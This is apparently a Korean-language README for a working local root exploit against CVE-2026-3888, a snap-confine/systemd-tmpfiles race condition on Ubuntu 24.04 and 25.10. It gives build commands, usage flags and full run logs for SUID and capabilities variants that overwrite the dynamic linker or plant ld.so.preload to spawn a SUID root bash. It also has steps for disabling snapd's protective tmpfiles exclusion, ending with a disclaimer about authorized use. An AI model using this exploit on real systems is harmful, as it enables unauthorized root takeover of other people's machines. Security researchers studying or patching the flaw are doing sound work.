
로컬 권한 상승 익스플로잇으로, Ubuntu의 snap-confine 및 systemd-tmpfiles를 대상으로 하는 CVE-2026-3888을 공격하며, 루트 액세스를 달성하기 위한 SUID 및 capabilities 변형을 제공합니다.
Ubuntu Desktop 24.04+에서 snap-confine과 systemd-tmpfiles 사이의 TOCTOU 경쟁 조건을 악용하여 권한 없는 사용자에서 전체 root로 로컬 권한 상승을 수행합니다. SUID 및 Capabilities 두 가지 변형이 제공됩니다.
CVSS: 7.8 (High) | Advisory: Qualys | 패치: snapd 2.74.2, 2026년 3월 17일
systemd-tmpfiles가 /tmp 아래의 오래된 .snap 모방 디렉터리를 삭제합니다 (30일 기간 만료)snap-confine을 단일 단계로 실행하여 모방 바인드 마운트 시퀀스 중 경쟁 조건을 안정적으로 승리합니다ld-linux-x86-64.so.2가 setreuid(0,0) + execve를 호출하는 셸코드로 교체됩니다snap-confine을 실행하면 root 권한으로 셸코드가 트리거됩니다/var/snap/firefox/common/에 배치되어 샌드박스를 탈출합니다| 파일 | 설명 |
|---|---|
exploit_suid.c | 통합 단일 바이너리 익스플로잇 — fork 기반 오케스트레이터의 7단계 전체 |
librootshell_suid.c | 페이로드 — 원시 x86_64 syscall을 통해 ld-linux-x86-64.so.2를 대체하는 최소 ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
둘 다 x86_64 Linux에서 컴파일(또는 크로스 컴파일)되어야 합니다. exploit은 정적으로 링크되므로 라이브러리 의존성 없이 snap 샌드박스 내부에서 실행됩니다. librootshell.so는 libc 없이 원시 syscall만 포함하므로 -nostdlib를 사용합니다.
./exploit <librootshell.so> [-d] [-s]
| 플래그 | 설명 |
|---|---|
-d | snap-confine 디버그 출력 표시 (자세한 모드) |
-s | .snap 정리 대기 건너뛰기 (root 비밀번호 필요) |
# 일반 실행
./exploit ./librootshell.so
# 디버그 모드
./exploit ./librootshell.so -d
# 실패 후 재시도
./exploit ./librootshell.so -s
익스플로잇은 샌드박스에 진입하여 systemd-tmpfiles가 .snap을 삭제할 때까지 기다린 후(기본 Ubuntu 25.10에서는 최대 10일, 기본 Ubuntu 24.04에서는 최대 30일), 경쟁 조건을 자동으로 실행합니다. 성공 시 root 셸로 전환됩니다.
snap-confine이 SUID-root여야 함 (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer 활성화busybox 사용 가능 (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Firefox 샌드박스 진입 중...
[+] 내부 셸 PID: 3122
[Phase 2] .snap 삭제 대기 중...
[*] 폴링 (기본 Ubuntu에서는 최대 30일).
[*] 힌트: 건너뛰려면 -s 사용.
[+] .snap 삭제됨.
[Phase 3] 캐시된 마운트 네임스페이스 파괴 중...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] 네임스페이스 파괴됨.
[Phase 4] 경쟁 조건 설정 및 실행 중...
[*] 작업 디렉터리: /proc/3122/cwd
[*] .snap 및 .exchange 구축 중...
[*] 교환 디렉터리에 285개 항목 복사됨
[*] 경쟁 조건 시작 중...
[*] snap-confine 모니터링 (자식 PID 3543)...
[!] 트리거 — 디렉터리 교체 중...
[+] 교체 완료 — 경쟁 조건 승리!
[*] 네임스페이스의 ld-linux: user:user 755
[+] 오염된 네임스페이스 PID: 3543
[Phase 5] 오염된 네임스페이스에 페이로드 주입 중...
[+] ld-linux 소유자 uid 1000 (공격자). 경쟁 조건 확인됨.
[*] busybox 설치 중...
[*] 탈출 스크립트 작성 → /tmp/sh
[*] ld-linux-x86-64.so.2 덮어쓰기 중...
[+] 페이로드 주입됨.
[Phase 6] SUID snap-confine을 통한 root 트리거 중...
[*] snap-confine → snap-confine (SUID 트리거)
[*] 종료 상태: 0
[Phase 7] 검증 중...
[+] SUID root bash: /var/snap/firefox/common/bash (모드 4755)
[*] 백그라운드 프로세스 정리 중...
================================================================
ROOT 셸: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles가 /tmp 아래의 오래된 .snap 모방 디렉터리를 삭제합니다snap-confine을 단일 단계로 실행하여 /var/lib 모방 바인드 마운트 시퀀스 중 경쟁 조건을 안정적으로 승리합니다/var/lib/snapd/mount/snap.snap-store.user-fstab을 제어합니다user-fstab 항목이 오염된 /etc(ld.so.preload 포함)를 샌드박스에 바인드 마운트합니다/tmp/.snap에서 SUID-root su 바이너리를 실행하면 setreuid(0,0) + execve("/tmp/sh")를 호출하는 librootshell.so가 프리로드됩니다| 파일 | 설명 |
|---|---|
exploit_caps.c | 통합 단일 바이너리 익스플로잇 — fork 기반 오케스트레이터의 7단계 전체 |
librootshell_caps.c | 페이로드 — setreuid(0,0) + execve를 호출하는 생성자가 포함된 공유 라이브러리 |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
둘 다 x86_64 Linux에서 컴파일(또는 크로스 컴파일)되어야 합니다. exploit은 정적으로 링크되므로 라이브러리 의존성 없이 snap 샌드박스 내부에서 실행됩니다. librootshell.so는 -nostartfiles와 __attribute__((constructor))를 사용합니다 — 대상 바이너리의 main() 이전에 ld.so.preload를 통해 로드됩니다.
./exploit <librootshell.so> [-d] [-s]
| 플래그 | 설명 |
|---|---|
-d | snap-confine 디버그 출력 표시 (자세한 모드) |
-s | .snap 정리 대기 건너뛰기 (.snap이 이미 삭제된 경우 사용) |
# 일반 실행
./exploit ./librootshell.so
# 디버그 모드
./exploit ./librootshell.so -d
# 대기 건너뛰기 (재시도)
./exploit ./librootshell.so -s
익스플로잇은 샌드박스에 진입하여 systemd-tmpfiles가 .snap을 삭제할 때까지 기다린 후(기본 Ubuntu 25.10에서는 최대 10일, 기본 Ubuntu 24.04에서는 최대 30일), 경쟁 조건을 자동으로 실행합니다. 성공 시 root 셸로 전환됩니다.
snap-confine에 capabilities가 있어야 함 (cap_sys_admin, cap_chown, cap_dac_override 등)snap-store snap 설치됨 (Ubuntu Desktop 기본값)core22 기본 snap 설치됨systemd-tmpfiles-clean.timer 활성화busybox 사용 가능 (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] snap-store 샌드박스 진입 중...
[+] 내부 셸 PID: 3501
[Phase 2] .snap 삭제 대기 중...
[*] 폴링 (Ubuntu 25.10에서는 최대 10일).
[*] 힌트: 건너뛰려면 -s 사용.
[+] .snap 삭제됨.
[Phase 3] 캐시된 마운트 네임스페이스 파괴 중...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] 네임스페이스 파괴됨 (.mnt 사라짐).
[Phase 4] 경쟁 조건 설정 및 실행 중...
[*] 작업 디렉터리: /proc/3501/cwd
[*] .snap 및 .exchange 구축 중...
[*] 교환 디렉터리에 17개 항목 복사됨
[*] 경쟁 조건 시작 중...
[*] snap-confine 모니터링 (자식 PID 3678)...
[!] 트리거 — 디렉터리 교체 중...
[+] 교체 완료 — 경쟁 조건 승리!
[+] 경쟁 조건 승리. /var/lib/snapd가 이제 사용자 소유입니다.
[Phase 5] 페이로드 및 user-fstab 설정 중...
[*] /etc를 .snap/etc로 복사 중...
[*] ld.so.preload 작성 중...
[*] user-fstab 작성 중...
[*] librootshell.so를 /tmp/로 복사 중...
[*] busybox 복사 중...
[*] 탈출 스크립트 작성 중...
[*] var/lib 교체 중 (원래 snapd 메타데이터 복원)...
[+] 페이로드 준비 완료.
[Phase 6] /tmp/.snap의 SUID 바이너리를 통한 root 트리거 중...
[*] 실행 중: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] 종료 상태: 0
[Phase 7] 검증 중...
[+] SUID root bash: /var/snap/snap-store/common/bash (모드 4755)
[*] 백그라운드 프로세스 정리 중...
================================================================
ROOT 셸: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
기본 Ubuntu 설치에서 .snap 정리는 30일(24.04) 또는 10일(25.10)이 걸립니다. 테스트 속도를 높이려면 /tmp 기간과 타이머 간격을 줄이세요:
/usr/lib/tmpfiles.d/tmp.conf 편집 (root로):
# 기간을 30d에서 4m으로 변경
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
확인:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# 다음이 표시되어야 함: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
확인:
systemctl list-timers systemd-tmpfiles-clean
# NEXT 열에 현재부터 약 1분이 표시되어야 함
snapd 2.73+는 tmpfiles가 .snap을 정리하지 못하도록 하는 제외 규칙을 추가합니다. 시스템에 이 규칙이 있으면 확인하고 제거하세요:
cat /usr/lib/tmpfiles.d/snapd.conf
# 다음이 표시되면: x /tmp/snap-private-tmp/*/tmp/.snap
# 해당 줄을 제거하거나 snapd 2.71.1로 다운그레이드하세요
이 설정을 사용하면 .snap이 오래된 후 약 5분 내에 정리되어 테스트 중 빠른 반복이 가능합니다.
이 코드는 교육 목적, 승인된 보안 연구, 그리고 명시적인 서면 허가를 받은 침투 테스트 계약을 위해서만 제공됩니다. 저자는 이 소프트웨어의 오용에 대해 어떠한 책임도 지지 않습니다. 이 코드를 사용함으로써 귀하는 귀하의 행동과 그 사용으로 인해 발생하는 모든 결과에 대해 단독 책임이 있음에 동의합니다. 소유하지 않았거나 테스트에 대한 명시적 승인을 받지 않은 시스템에 대해 이 코드를 사용하지 마십시오.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin, 등) |
| 대상 snap | firefox | snap-store |
| 모방 대상 | /usr/lib/x86_64-linux-gnu (~285개 항목) | /var/lib (~17개 항목) |
| 익스플로잇 벡터 | ld-linux-x86-64.so.2를 셸코드로 덮어쓰기 | user-fstab + ld.so.preload 제어 |
| 페이로드 형식 | 원시 syscall이 포함된 정적 ELF | __attribute__((constructor))가 포함된 공유 라이브러리 |
| Root 트리거 | SUID snap-confine이 오염된 동적 링커 로드 | /tmp/.snap의 SUID su가 .so 프리로드 |
| cgroup 요구 사항 | 모든 snap.* 이름 | 정확히 일치: snap.snap-store.hook.configure |
.snap 정리 | 30일 | 10일 |
| 샌드박스 탈출 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
/var/snap/snap-store/common/에 배치되어 샌드박스를 탈출합니다